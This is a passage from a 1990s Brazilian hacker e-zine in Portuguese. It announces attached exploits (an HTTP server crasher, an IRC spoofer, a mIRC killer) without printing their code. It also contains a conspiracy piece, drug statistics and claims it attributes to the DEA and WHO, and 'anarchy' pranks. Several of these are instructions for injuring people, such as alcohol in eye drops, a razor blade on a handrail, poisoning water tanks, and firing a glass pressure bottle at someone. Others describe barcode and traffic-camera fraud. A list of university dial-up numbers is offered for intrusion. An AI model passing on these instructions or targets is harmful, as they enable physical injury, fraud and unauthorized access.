=== the file
------------
     O Arquivo estah anexado ao zine, com o nome: imc10.tgz(yeah kiddies,
for linux!).

								sOurce


 Ŀ 
(8.5) Servidor Tecepe Exploit 
 
   Ĵ  By tOneOne     `
     

 Testando uns querys nesse tipo de HTTPd, percebi que ele "travava" quando
um certo bloco de comandos era enviado.

Entao resolvi fazer o exploit pra esse servidor que pode ser encontrado em:
www.tecepe.com.br

O nome do arquivo eh tecepe-ex.tgz, e eh usado junto com o netcat. 

Thankz to: Apocalypsis & SyCoFlUiD que me ajudaram a testar esse exploit ;D

t+

 Ŀ 
(8.6) IRC Spoofer        
 
   Ĵ  By tOneOne     `
     

Esse programa, cria um usuario fantasma em um server de IRC. Como assim
fantasma? Eh o seguinte, quando vc loga em uma rede de IRC, vc tem que enviar
seus dados(OBS o seu cliente de IRC provavelmente faz isso por vc ;D).
Tais dados sao: USER/NICK

Entao se vc enviar um user com o host xxx.xxx.com, ele aceitara e mandara um
ping para tal host, para verificar se ele eh valido ou naum.
Entao o usuario fantasma ficara na rede ate cair por um ping timeout.
Porem... o usuario nao podera entrar/sair/enviar mensagens, etc... mas
aparecera no whois em seu nick, o host spoofado. Outro porem, eh que os unicos
que poderao "ver" o usuario sao os que estao usando o mesmo SERVIDOR de IRC
que o usuario ghost.

O nome do arquivo eh ircspoof.tgz, dpois de compila-lo, coloque o nc no mesmo
diretorio.

                                                                 tOneOne

 Ŀ 
(8.7) mIRC 5.4 killer (Again) 
 
   Ĵ  By tOneOne     `
     

Esse jah saiu no zine passado, mas se baseava em um script de mIRC, e os
usuarios de linux ficaram na mao ;D

Entao fiz esse exploit que usa a rede de IRC para se concretizar, e nao o IP
da vitima, tornando mais facil o exploitamento(Putz!)

Hehhe... esse programa usa o netcat, por isso coloque o nc no mesmo dir do
mirkill destargezeado, duh!

                                                                    tOneOne


 Ŀ 
( 09 )   Conspiracao          
 
   Ĵ  By Pensador    `
     

   ************************************************************************
             ͻ ͻ    ͻ                                    
                        ͻ                                         
                              ͼ  i   r   a         o
             ͼ  ͼ ͼ                                          
   ************************************************************************   




           So Paulo, 28 de julho de 1.998. - 01:37:23 da manh


       Ŀ
    AtenO: A matria a seguir no tem o objetivo 
       Ŀ de prejudicar nada ou ningum  ela  
                     apenas uma teoria de conspirao...
                  
                  



        
          
        tendendo a pedidos de alguns caras do submundo digital,
          resolvi criar um zine, dentro de um zine (se  que vcs
            entenderam...), ou seja, alm de anarquia, agora estou
            criando a Conspirao; uma coisa que eu adoro. Os textos
            aqui contidos so 100% de minha autoria, ou seja, vocs
            podem e devem fazer cpias, passar  outras Hp's ou qquer
            coisa, mas por favor, coloquem o nick do autor...(Pensador).
            A muito tempo t pra fazer essas matrias, eu tenho uma
            porrada de idias mas nem tenho tempo de passar pro papel.
            Vou comear com essa, e sei l , se der certo e o pessoal
            incentivar e gostar beleza, seno, se acharem nada a ver,
            eu paro! No garanto que todas as matrias sero animais e tal,
            alm do que, pra fazer isso, eu teria que pesquisar muito,
            e ter muito tempo. Mas vamos ver no que vai dar isso a...
            espero que gostem, vou escrever pouco mas vou procurar escrever
            bem. E como diria o Rodox...(vai me dizer que no sabe quem eh?!)
                                  |
                         Eh isso a mulek!
             

Ŀ           ----------------------------
ARQUIVO 00     -     ASSUNTO: Exploso do Foker 100 da TAM
           ---------------------
    
    
        Em outubro de 1997, um inesperado acidente ocupou por v rios
    dias, todas as manchetes de jornais e televises do Brasil todo:
    a inexplic vel exploso da aeronave Foker 100 da TAM. Minutos de-
    pois da decolagem, aconteceu o que todas as pessoas que "voam"
    nunca desejariam: acidente, desespero, pnico e morte.
    Ao explodir, a bomba (se  que foi uma bomba), abriu um buraco
    enorme na parede do avio, desprendendo o assento do passageiro,
    ocasionando a morte da pessoa que estava sentada no mesmo. O corpo
    foi localizado a quilmetros de distncia do local do acidente.
    Aqueles minutos de desespero, viraram uma eternidade para as pessoas
    que estavam no avio.
        Com o Foker em terra e os passageiros a salvos, a polcia federal
    deu incio  investigao da causa de tal acidente(?), a par-
    tir da, v rias hipteses surgiram, como a que o avio no estava
    em condies de fazer o vo, que ele estava sem manuteno h  v rios
    meses, resumindo...nada disso. Aps algum tempo de investigao, foram
    encontradas substncias qumicas bem no local onde ocorreu a exploso.
    Essas tais substncias foram analizadas e da a surpresa: ela  usada
    para "gerar" exploses em grande escala, dependendo da quantidade usada.
    Foram encontrados vestgios dela na mala do Dr.(no descobri o nome) que
    por uma infelicidade se tornou o grande suspeito do acidente(ou atentado?)
    (Que por coincidncia estava num dos assentos prximos ao local da explo-
    so.)

->  NOTA: Por uma incrvel armadilha do destino...(ou das pessoas por tr s
    disso?) o Dr. (ou bode expiatrio?) sofreu um estranho
    acidente(?) que, se no me engano, foi um atropelamento, dias antes dele
    prestar o depoimento na polcia. (vc acha que foi uma incrvel coincidn-
    cia? Eu no.)
->> ESTRANHO: Agora me digam, porque uma pessoas dessas, estaria carregando
    explosivos em sua maleta? Por que esse material no foi detectado pela
    segurana do avio? Ou at mesmo, porque, justo o principal suspeito,
    sofreria um "acidente" s vsperas de seu depoimento?
    (a propsito, esse acidente s no foi fatal por MUITA sorte.)

       O motivo do atentado contra o Dr. com certeza, seria
    para fazer com que a verdade no vazasse e ele acabasse revelando o
    real motivo do incidente. Mas por uma ironia, ele no morreu, foi
    socorrido e levado em estado gravssimo para o hospital. No boletim mdico,
    foi divulgado que ele estava em estado de coma. Algum tempo depois, quando
    o Dr. saiu do coma, finalmente, todos ns pensamos que algo seria esclare-
    cido...que nada, por causa do acidente, ele ficou com problemas de sanida-
    de mental impossibilitando-o de ser julgado. Em meados de julho desse ano
    (muito tempo aps o acidente, no? Por qu?) foi reaberto o inqurito,
    mas novamente o ru em questo, no poderia ser julgado at que se provas-
    se que ele poderia ser julgado e condenado, apesar de seu problema.
    Mas pelo menos, o ru, poderia ser interrogado. Observe o que aconteceu:


->  NOTA: Ao ser interrogado pela polcia, o delegado deixou claro que 90%
    das respostas do Dr. foram: "- No sei." (no sei se vc concorda comigo,
    mas esse tipo de resposta geralmente  de que a pessoa est  escondendo
    alguma coisa...).
->> ESTRANHO: Ser  mesmo que o Dr.  est  com o estado de
    insanidade mental? No seria mais prov vel que ele esteja se fazendo de
    insano para se manter a salvo das pessoas por tr s disso? Se essa segunda
    hiptese for verdadeira, qual o real motivo do atendado?



               ??            Ŀ            ??
               ---------------M  O  T  I  V  O  S---------------
                             


1-) Uma  hiptese prov vel  que tudo isso foi armado. Dentre os passageiros
    "eles" escolheram algum que pagaria o pato, e colocaram a maleta na
    poltrona da pessoa escolhida. Assim o coitado levaria a culpa de manaco
    suicida...e aps isso, fazer a queima de arquivo para que tudo parecesse
    uma obra do acaso..."Manaco explode Foker 100 da TAM e morre num
    acidente de carro." Pronto, tudo estaria resolvido.

2-) Ser  que a TAM estaria prejudicando as outras companhias areas?
    Prejudicando em termos, eu quero dizer que ela estaria fazendo preos
    mais em conta e assim, desequilibrando o monoplio da aviao no Brasil.
    As outras empresas, das quais no preciso mencion -las, tiveram muitos
    problemas um tempo atr s com desvio de dinheiro...at um cara de uma
    igreja bem conhecida estaria envolvido...(isso apenas vai lembrar quem
    realmente curte este tipo de assunto.)

        Com certeza, aps o abafo do escndalo (como geralmente acontece), ele
    deve cair em esquecimento e ningum mais ir  investigar o assunto.
    Algumas coisas aqui mencionadas parecem at ser loucura da minha parte,
    mas se vocs ligarem uma coisa com a outra, no acharo loucura e sim,
    possibilidades...
    Ainda tenho muita coisa pra dizer, mas vou fechar essa matria por aqui 
    mesmo pra ver a reao de vocs. Gostaria de receber alguns mails com
    crticas pra saber a opinio de vocs e pra saber se vocs gostariam
    que eu continuasse, cada edio com um assunto...
    Vou at adiantar um pouco a possibilidade da prxima matria, se sair:

    Militares ocultando Bomba atmica brasileira...
    (Se lembra do 1 foguete 100% nacional..?)
    
    So e salvo (por enquanto), Pensador encerra o Arquivo 00.
    e - m a i l: pennsador@hotmail.com


 Ŀ 
( 10 )   Anarquia             
 
   Ĵ  By Pensador    `
     

 ****************************************************************************
                           A   N  A  R  Q  U  I   A
    ChE GuEVaRa            *Ŀ*      aNTnIo                      
                           *             *        cOnSeLHEiro
            mANdelA        *             *              
                           *       ensador    *   zUmBI                 
       LuThER kinG         *                  *                 
                           **       JiM MorrIsOn      
   rAUl SEiXas             A   N  A  R  Q  U  I   A   BoB maRlEy
 ****************************************************************************

  Como sempre o mesmo aviso...(isso infelizmente eh necess rio)             
                                           
  Aviso s pessoas que no assumem o que fazem:             
                --------------------------------------------------
                aTenO: VC  O TOTAL RESPONSVEL POR SUAS AES.
                         O USO INDEVIDO DAS MATRIAS AQUI CONTIDAS
                         PODEM ACARRETAR SRIOS DANOS.
                         No sou respons vel por N A D A.
                         Vc  o respons vel por T U D O .
                         Isso inclui ideologias.
                --------------------------------------------------
                           /\/\/\/\/\/\/\/\/\/\/\/\/\/\
                          | Aviso  c0mUN1dADe diG1taL | 
                           \/\/\/\/\/\/\/\/\/\/\/\/\/\/ 
      
      
        om certeza, meu trampo aqui neste zine est  sendo reconhecido.
       Estou dizendo isso galera, porque estou recebendo cada vez
      mais, um nmero maior de mails com crticas, matrias e incentivos.
      E ainda bem, o pessoal tem gostado das matrias que eu estou fazendo
      (espero que continuem). Alm do que quero parabenizar publicamente,
      todos os editores do zine, pois atualmente, o HackPHR  um dos 3
      melhores zines da Net (do meu ponto de vista.). De um tempo pra c 
      o zine cresceu bastante e oferece uma vasta quantidade de informaes
       c0mUN1dade diG1taL. A partir desta edio, estria a minha mais nova
      criao, o informativo "Conspirao", onde vou expor minhas idias
      (meio que piradas..) e dependendo do resultado, se vcs gostarem eu
      prosseguirei. Mas ainda peo, velhos, exponham suas idias e no tenham
      medo de dizer o que pensam, contribuam para o crescimento do zine na
      rede. Ah...quero agradecer tambm o pessoal que falou bem at do meu
      jeito de escrever e apresentar as matrias..: Valeu.
      Nesta edio, deixarei de lado um pouco o que vocs chamam de anarquia
      e eu chamo de "mini-terrorismo", nesses dias, andei coletando algumas
      coisinhas por a, e achei coisas muito interessantes e vocs devem
      estar cientes desses textos. Claro pessoal, no deixarei o "mini-terro-
      rismo" de lado, afinal, pra que servem os amigos....
-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-

      T abrindo a matria com uma polmica. Alm do que, eu morro
      de raiva quando eu vejo os porcos dos polticos e a televiso dizendo
      coisas que no so verdadeiras, apenas para manipular a cabea dos
      "mais fraquinhos" (se eh que me entendem...). Se vocs pesquisassem
      iriam constatar que o que muita gente fala  MENTIRA e o que as pessoas
      que tem sua opinio CENSURADA  verdade.



                  l i b e r d a d e   d e   e x p r e s s  o 



 -> Bom, quero deixar claro que esta 1 parte do texto foi retirada do site:
    Ganja Page: http://www.geocities.com/Eureka/5584
      

                    -=-=-=- LEGALIZAO DA MACONHA -=-=-=-


    Vamos comear falando sobre drogas j  legalizadas: Cigarro,  lcool e
    caf (entre outras). Voc concorda sobre os malefcios do cigarro?
    Voc fuma? No? timo, parabns, voc  uma pessoa que deve se importar
    com a sua sade. Sim? timo, voc  uma pessoa que deve gostar de ter
    seus prazeres individuais respeitados. Agora imagine s: E se voc no
    tivesse a opo de comprar ou no seu mao de cigarros? Voc se sentiria
    lesado? Com seus direitos violados? E sobre bebidas... E se voc fosse
    proibido de comprar cervejas no supermercado, ou no bar... Voc se
    sentiria prejudicado? Claro que sim. E imagine como seria BEM pior ter
    que adquirir cigarros e bebidas no mercado negro, com os to falados
    traficantes... E ainda sofrer o risco de ser preso por isto...

 "A pena pelo uso de drogas nunca deveria ser mais prejudicial que a prpria"

    Temos de considerar que a maconha  uma planta, ou seja, pode ser plantada
    no fundo de seu quintal sem qualquer tipo de cuidado especial. Quem iria
    ganhar com isso???? O governo que no, pois com todo mundo plantando no
    seu quintal, no haveria imposto para arrecadar e sustentar aquela m fia
    de Braslia.

    Agora, prestem bem ATENO na pesquisa realizada por um dos departamentos
    mais bem respeitados do MUNDO, o D.E.A. (agncia anti-drogas americana)
        -> ESTATSTICAS ANUAIS DE  M O R T E S   POR   D R O G A S<-

    Tabaco.....................: 400.000 (direta e indiredamente)
    lcool e drogas legalizadas: 125.000 (overdose de remdios normais
                                          e de receita)
    Cafena....................:  20.000 (morte por stress, lcera e
                                          batimentos cardacos irregulares)
    Drogas Ilegais.............:   5.000 (overdoses propositais e acidentais)
    Aspirina...................:   5.000 (incluindo-se overdoses propositais)
    Maconha....................:       0 (eu no errei o nmero no, ZER0)

    Agora eu, Pensador, irei apresentar as dvidas + freqentes em relao
     cannabis. Essa faq consegui com algumas pesquisas no assunto e consul-
    tas  revistas e jornais. Elas foram publicadas pelo  rgo  m ximo  de
    sade no MUNDO, a O.M.S. (organizao mundial de sade). Vou expor aqui
    no somente os benefcios, mas tambm, os malefcios (no fao igual aos
    polticos e Tv's que apresentam apenas os malefcios...mentirosos.)
    As perguntas que tiverem (*) so as do relatrio da O.M.S.


     1-)  verdade que a maconha queima neurnios? (*)
     R:  No. Isto  mentira. Essa hiptese ainda no est  comprovada.
         Experincias em ratos apresentam resultados diferentes:
         Em alguns ratos, clulas cerebrais, parecem ligeiramente deformadas,
         mas em outras, no se v alterao nenhuma. Logo, no se pode
         retirar concluses definitivas. A OMS sugere estudos mais aprofun-
         dados.

     2-) Quem fuma muito pode cair na dependncia? (*)
     R: Sim. Grande parte dos usu rios que fumam diariamente durante meses
     acabam se viciando. Os que no conseguem se recuperar, apresentam sinto-
     mas e agravam a dependncia. Ficam desmotivados para qualquer coisa.

     3-) Ento todos ficam viciados? (*)
     R: No. Apenas 10% dos fumantes caem na dependncia.

     4-) Os homens produzem menos espermatozides? (*)
     R: No. Esta hiptese surgiu nos primeiros anos de estudo da erva
     (dcada de 70), mas essa afirmao no se sustenta mais, pois j 
     est  comprovado cientificamente que no h  alterao.

     5-)  verdade que a maconha pode causar falhas na memria?
     R:  Sim. A pessoa que usou maconha durante muitos anos e quase que
         diariamente, tem dificuldade em organizar, separar idias  e
         organiz -las. Isto j  est  provado.

 Por esta edio, sobre a erva,  s. Se houver interesse dos leitores, favor
 enviar mail que, dependendo do nmero de pessoas interessadas eu volto ao
 assunto edio que vem.
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=
 Este texto, foi retirado da seguinte p gina:
 S.U.B. http://www.iis.com.br/~over/main2.htm. Autor: Over.

                             -=-=-=RELIGIO=-=-=-=-

    Religio  uma das coisas mais estpidas que existe na face dessa Terra
    podre. Religio causa guerra. Religio bitola as pessoas. A Religiao 
    preconceituosa. Religio causa misria. Religio propaga a ignorncia dos
    humanos limitados  suas ambies. A Igreja concentra terras, rouba e
    "transforma" o povo em gado. Impe idias arcaicas e priva as pessoas de
    pensarem. O Vaticano concentra bilhes de reais em ouro, terras, propri-
    edades em geral. A Igreja pratica a poltica suja. A Igreja  homofbica,
    e condena quem lhes ope a um fantasioso mundo de torturas. E quem lhes
    enriquecem, podem descansar em paz quando morrerem. QUE ESCROTO! No
    estou falando s da Universal, nem s da Catlica, ou qualquer outra
    dessas idiotices por a. TODA religio  igual. Pases vivem em guerra
    por causa dela. Religio  uma praga que s atrai desgraa aos homens
    e deixa-os desacreditados de suas vontades.

PENSADOR: Concordo, penso do mesmo modo e assino em baixo. A relgio alm
          de tudo isso acima, manipula as pessoas por interesse PRPRIO.
          Ficaria 1 ano falando absurdos contra a igreja, mas no tenho tempo.
          Esse texto do Over,  claro e objetivo, por isso est  aqui.
          Enquanto os Bispos e o Papa..viajam pelo mundo a fora, com o dinhe-
          iro dos "fiis", esse mesmo dinherio poderia ser usado para combater 
          a fome e pobreza em pases da frica, como a Etipia. Idiotas
          viajam at 2 dias, para poder ver o Papa a 5 km de distncia.
          Bah..Todos eles possuem mentes fteis e fracas.

Homofbica (dicon rio): que tem mesmo som ou pronncia; ou seja, todas as
igrejas pregam coisas mas fazem outras.
-> A V I S O: Gostaria de avisar aos leitores tb que, qualquer manifestao
em forma de texto,  muito bem vinda, mandem mesmo. Este tipo de informao
 muito importante para que possamos construir uma sociedade menos vulner vel.
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                      =-=-=-=-HORA DE ZOAR=-=-=-=-=
                       
-> Pegue uma moeda ou nota de 1 real, misture cola com p de mico,
   e esfregue na nota...Ponha no meio da calada e espero o primeiro
   ot rio pegar.

-> Mastigue um chiclete at ele ficar bem mole. Da, prenda uma ponta do
   chiclete na parede e a outra no elevador. Assim, quando a pessoa sair
   do elevador e abrir a porta, ele(a) ir  se lambuzar todo.

-> Pegue o tapete que fica em frente  porta do seu AP ou casa e ENCHARQUE
   de  gua. Agora pegue-o e ponha na frente da porta do ap. Se sua campainha
   for antiga (aquela que a caixa  plana e no "gordinha") a pessoa que for
   tocar a campainha e estiver descala, provavelmente levar  um choque.

                  -><-Zoaes envidadas pelos leitores-><-
                ateno: respondo a todos os mails recebidos.

->  noite, v  at um orelho pblico e coloque coc de cachorro no gancho,
   na parte onde agente pe o ouvido. Depois espere ou chame um ot rio por
   o cabeo l  no gancho e sentir o cheiro...
  zoao enviada por  S o n i k.

-> Para que voc no leve multa no trnsito, faa o seguinte:
   Pegue alguma palha de ao (bombril) e esfregue na parte cinza do carro,
   isso far  com que a tinta saia e aparea o metal cromado fazendo com q a
   foto no aparea...se algum PM te parar, fale que est  desgastada...
  zoao enviada por  P [a] P [a]

-> Pegue o cdigo de barra de um produto barato, depois, imprima esse cdigo
   de barra, atravs do seu computador (use o scanner), depois disso, v  ao
   supermercado e cole esse cdigo de barras num produto caro (no muito pra
   no dar bandeira) a s sai pra galera, paga cola2l pelo preo de nescau
   150ml!!
  zoao enviada por  S y sB u r n e r

-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                          -=-=-=-BOMBA D'AGUA=-=-=-=-
                        (indita, exclusiva do Pensador)

 Material necess rio : * Essencial  - No essencial 

* Garrafa de Pl STicO de 2 LITROS.
* Mangueira
* Durex ou fita Isolante (ou algo q grude bem)
* Voc deve estar prximo  uma torneira. (de preferncia da rua, seu quintal
  etc.)
- Papelo ou algum suporte.
- D uma olhada em dicas no final da explicao..he he...
- Quanto mais forte o jato da torneira, melhor.

 Instrues:

 Pegue a mangueira e coloque uma das pontas na boca na garrafa, ATENO, vc
 deve por de modo que NO escape AR (isso eh essencial). Para reforar, enr-
 role o durex ou isolante na boca da garrafa e verifique se a mangueira est 
 bem presa.
 Pegue a outra ponta da mangueira e ponha na boca da torneira (mantenha FECHA-
 A TORNEIRA) Para fazer um teste, pra ver se est  ok, pise na mangueira e
aperte a garrafa, se fizer presso ok, se o ar vazar eh pq no est  bem preso.
 Agora  a parte legal: Pegue a garrafa e ponha com a boca para baixo, fazendo
 com que ela fique de p (use o suporte). Abra BASTANTE a torneira e fique +-
 a uns 5 metros de distncia.(EH ESSENCIAL Q A MANGUEIRA NO POSSUA FUROS)

 Funcionamento:

 Ao abrir a torneira, a  gua ir  empurrar o ar para a garrafa. Mas como a
 garrafa no est  furada, o ar ir  fazer presso para o fundo da garrafa e
 ela ir  "decolar"! Por isso  importante manter a garrafa em p.
           Ou mire em algum...(interessante..he.)
 DICA: Em vez de garrafa de pl stico, use garrafa de vidro. Mas ateno
           molecada...CORRE!!!!(com vidro eu nunca testei.)

-> e s q u e m a:                           
                                            
ͻ  torneira                               exploso
  ||                                  
                                     
   Ŀ    Suporte com a garrafa no meio.
          mangueira                  
                                      <-boca da garrafa
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=
                         =-=-=-PLANET & INFO=-=-=-=

-> BANDA B

   Pois  galera...com a introduo da chamada tecnologia digital, ficar 
   muito mais difcil para ns "brincarmos" com os celulares e escutar
   conversas.
   Mas felizmente, essa segunda hiptese futuramente poder  chegar ao nosso
   conhecimento pois um estudante de Segurana de redes, um especialista em
   computadores e um Perito em criptografia de dados (todos dos USA), conse-
   guiram quebrar o cdigo de transmisso de um celular digital... mole?

-> LIXO CIBERNTICO

   A receita federal est  com um grande problema. No sabe o que fazer com as
   toneladas de disquetes com as declaraes de imposto de renda desde 1994.
   A receita no pode queim -los pois ao serem incinerados eles liberariam
   g s txico...e TODAS as informaes possveis das pessoas que declararam
   o imposto esto expostas num depsito esperando algum outro tipo de
   fraude...

-> BUG 2000

   O governo da Sucia diz que ir  desligar todos os reatores nucleares em
   meados de dezembro de 1999 se o bug 2000 ainda no estiver totalmente
   resolvido. Simulaes feitas nos mesmos, acusaram grandes problemas e
   uma doidera total nos sistemas...
   PENSADOR: EH...Chernobil 2..a misso... (entendeu?)

AVISO I: A pessoal, enviem sugestes e crticas sobre o informativo "Conspi-
         rao", tais como, proposta de assuntos para eu fazer as matrias,
         INfoRMaes, idias malucas tambm so aceitas.
         Estou pensando tambm em abrir uma sesso de ufologia. Interessados
         enviem sugetes. (u.f.o. com documentos do tipo "secretos" mas teori
         camente revelados pelo governo.)
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=         

                       =-=-=-=BNUS  - 1 PARTE=-=-=-=

   Pensando sempre em algo diferente...achei umas coisinhas muitos interes-
   santes aqui...esta parte so para os caras que "curtem" fazer pontes
   ou invadir sistemas de universidades, segue abaixo, o telefone de dados
   de cada uma delas. (no tem nenhum do Brasil, pois no tenho conhecimento
   de nenhuma por enquanto, quem tiver, eu agradeceria mandar um mail)

   Harvard University         617-732-1251   * interessante  
   Yale                       203-436-2111
   District 214               312-398-8170
   Chicago Board of Education 312-254-1919   obs: alguns tels so antigos,
   Spence Schools             212-369-5114        no tenho certeza se todos
   University of Texas        214-688-1400        funcionam.
   University of Missouri     314-341-2776
                              314-341-2910
                       (1200) 314-341-2141
   Cal-Tech                   213-687-4662
   University of Nevada       402-472-5065
   Princeton University       609-452-6736
   Stony Brook University     516-246-9000
   Depaul                     312-939-8388
   University of San Diego    619-452-6792
   RPI School                 518-220-6603
   William State University   313-577-0260
   Harvard                    617-732-1802
   Stockton                   209-944-4523
   Northwestern               312-492-3094
   Circle Campus              312-996-5100
                              312-996-6320
   University of Mexico       505-588-3351     * Mxico...las cucarachas!!
   University of Florida      904-644-2261
   Queens College             212-520-7719
   University of Denver       303-753-2737
                              303-753-2733
   University of Syracuse     315-423-1313
   University of Illinois     312-996-5100
   University of Virginia     703-328-8086
   MIT Research             1-800-545-0085
   St.Louis Community College 314-645-1289
   SIUE                       618-692-2400
                              618-692-2401
                              618-692-2402
                              618-692-2403
                              618-692-2404
                              618-692-2405
                              618-692-2406
                              618-692-2407
                              618-692-2408
   Universiti-------          215-787-1011
   Willaim  --------          313-577-0260
   University of Florida      904-392-5533
   Col & Union College        301-279-0632
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=         
Escrevi e mostrei coisas totalmente diferentes aqui nesta edio...

Edio que vem, talves eu coloque uma matria que era pra sair na segunda,
mas no pude publicar por alguns probleminhas...
Mas se der na telha eu vou por e foda-se quem no gostar...
trata-se de fraude num banco...(nada demais, apenas uma coisa simples e
                                bem pensada.)
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

Pensamentos do dia:  "As favelas so as novas senzalas"
                     -LOBO, se metade da populao tivesse metade da
                      personalidade dele, o mundo seria bem melhor...

                     " preciso algum para puxar as cordas dos bonecos"
                     -METALLICA (aposto que voc no entendeu...)

                     "Cum, cag ...
                      Viv, fum ...
                      So as leis da natureza e ningum pode mud "
                      -RAIMUNDOS, metal de doido!

                     "Para situaes extremas, medidas extremas, hai"
                     -Sr. Miaghi...(Karate Kid I!!!!)

e - m a i l :  pennsador@hotmail.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

RaGE aGainsT   leD ZEPPelIN   /\//REVOLUO\\/\   dOORS       PulP FICtion
  Sabbath         nIRvAna    /\/\/\/\/\/\/\/\/\/\      rAIMuNDOS
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\//\/\/\/\/\//\/\/\/\///\/\/\////\/\/\/\/\/


 Ŀ 
( 11 ) Anarchy tips         
 
   Ĵ  By tOneOne     `
     

Hehhehe... eu tava dando uma olhada nuns txts aki, e achei esse ai que eu
tinha escrito ah algum tempo e ficou esquecido.
Achei legal publicar ele aqui e tal, heeheh enjoy it!

- Anarchy tips

E ai manows!
Dessa vez resolvi mudar um pouco, vou dar umas dicas de anaquia.

Mas tem sempre akele papo neh... eu nao me responsabilizo pelo uso incorreto
dessas informacoes, elas estao aki soh por motivos de informar e nao de causar
danos a pessoas alheias ... soh pra variar.

Colirio - Sabe akele colirio q o seu inimigo usa ? Entao q tal colocar um
          poukinho de alcool dentro dele?

Gillete - Essa eh boa, pegue uma cola tipo super bonder ou uma fita q cole
          bem e uma gillete.
          Cole a gillete do lado de fora do corrimao... e quando o otario
          passar a mao la... menos um dedo no mundo, hehehe

Vaso - Vc pega akela mostarda ou catchup do Mac Donald's corta um pedaco da
       ponta e coloca em baixo da tampa do vaso sanitario. Ae espere o babaca
       sentar... Ah e nao esqueca de tirar o papel do banheiro. TESTADO!

Refrigerante - r0x pra fazer no restaurante... quando o kra for no
               banheiro, coloque um monte de merdas no refri dele.
               Falando assim parece ateh sem graca, mas espere ate ele beber.
               TESTADO!

Saleiro - Essa tb eh pra fazer no restaurante... coloque acucar no saleiro, ou
          se nao tiver acucar, desatarrache a tampa do saleiro um pouco.
          O proximo kra q for usar o saleiro, ou vai achar a comida doce ou
          salgada d+. TESTADO!

Po d mico - Vc jah ouviu falar d po d mico? Kra uma das coisas mais engracadas
            q tem eh c ver o kra se cocando todo igual um maluco. Se vc nao
            sabe onde comprar, tente numas lojas d macumba... sempre tem.
            TESTADO!

Cigarro - Pegue uma seringa e coloque alcool no cigarro da vitima... mas tenha
          certeza d q ele vai acender antes do alcool secar.

Caixa dagua - Coloque um monte de merda na caixa dagua tipo detergente, sabao
              em po, agua sanitaria, etc...
              Eu q nao ia qrer tomar banho lah! TESTADO!


E por hoje eh soh, t+...
                                                                tOneOne  


 Ŀ 
( 12 ) HuH! - Parte I       
 
   Ĵ  By The Staff   `
     

Hehehe ai vai uma colecaozinha de algumas frases engracadas e algumas
inteligentes colhidas na BrasNet e BrasIRC... divirtam-se ;)

OBS: Se seu nick esta aqui nao se ofenda ;)

/join #hackphr

<||Mr_Hoot|> Onde pego o Linux?
<||Mr_Hoot|> FFFFFFUUUUUUUULLLLLLLLLLLLLLLLLLLLLL
<tOneOne> |[.||Mr_Hoot|.]|: ae pega o shareware q eh melhor! ;)

<NearSky> pra falar a verdade gente estou fazendo coleao de programas de
          nuke ja tenho 25

<SyCoFlUiD> alguenme ensina a ser lammer?
Hhehe r0x syco!

B0mB4sT1c- (~asdf@vF0ARMI1Rcc.estaminas.com.br) [brazil]
(ircname)  -> Hiroshima'45, Czernobyl'86 e Windows'95
Boa Bomb!


NetManipulator [~hinek@y5DWImwJEDg.bestway.com.br] has joined #hackphr
                 ^^^^^^
                    `---- Detalhe ;)

Golfo_2(TUCUPI4.1@b1yBtbeP9aA.bsb.nutecnet.com.br)] manu, sou lammer disposto
a aprender, dah para vc me falar qual objetivo do linux?

<meleca99> quero aprender ser hacker!
 BitchX: Adding meleca99!*meleca99@h6bbbSu6XBgw.200.210.246.O to Shitlist

<BLAcKMaSK> era uma vez
<BLAcKMaSK> um .gov no meio do nada
<BLAcKMaSK> com sabor de root shell
<BLAcKMaSK> e cheiro de bug danado..
<tOneOne> essa foi boa.. hehuhehehe

[CrAsH_OvEr(~2@7iWg38h94lc.gd.uol.com.br)] echo g=ffff:0|debug 
[CrAsH_OvEr(~2@7iWg38h94lc.gd.uol.com.br)] fala disso no zine... e diz que
melhora a proteao contra nuke ... mas nao explica como!

[HanSolo(~fherrero@DYpBJbA3FvA.sti.com.br)] oi, vc e hacker?

[Skull_Crasher(~conta@iwj6KXlZUSs.200.231.70.O)] |NinJa ScRiPt 4.1| => Eu 
estou lhe ignorando! 

<_P0is0N_> porra quero senhas da CBF se nao tiver..... 
<_P0is0N_> eu adoro  invadir tudo mais depois que entrei na policia federal
me pegaram!!! e eu fiquei 2 semanas detido 

<NoFaith> porra eu  te falei cq o nosso grupo DHC ja invadiu a MTV e CBF

OBS: DHC = Dark Hackers Clan

<#hackplanet/DrAcOz> algum quer entrar para a tribo de mIRC The Dragonsircs ?
Estamos precisando de verdadeiros Hackers para expulsar Lammers...

 INVASOR_IRChacker [login@200.223.165.137] has joined #hacker

<Diablo666> alguem ai conhece alguma senha de internet

Domingo pra segunda 3:11 da matina ;)
 [signoff/#hackphr] [D] (Quit: os seres humanos precisam dormir... q sux...) 
Hheheh tb acho ;)
c00l [D]!!!

<cerebro-13> Estou tentando invadir o sistema da NASA por FTP.

<Procuro_Netbus> vcs sabem onde posso encontar o netbus ou o cavalo de troia 

*** Topic is #Hack-Org - the best clan hacker of IRC!! '

*** Dr-DoLiTTlE (Ozzy@MwegofmE1Yg.200.231.67.O) has joined #hackphr
<Dr-DoLiTTlE> ai quem ta afin de nukar varias gente hoje pvt-me
*** Dr-DoLiTTlE (Ozzy@MwegofmE1Yg.200.231.67.O) has left #hackphr

<t11> ralae
      `-- Putz o t11 mandow mal!!!

<Aleex> TrOcO SeNhA!
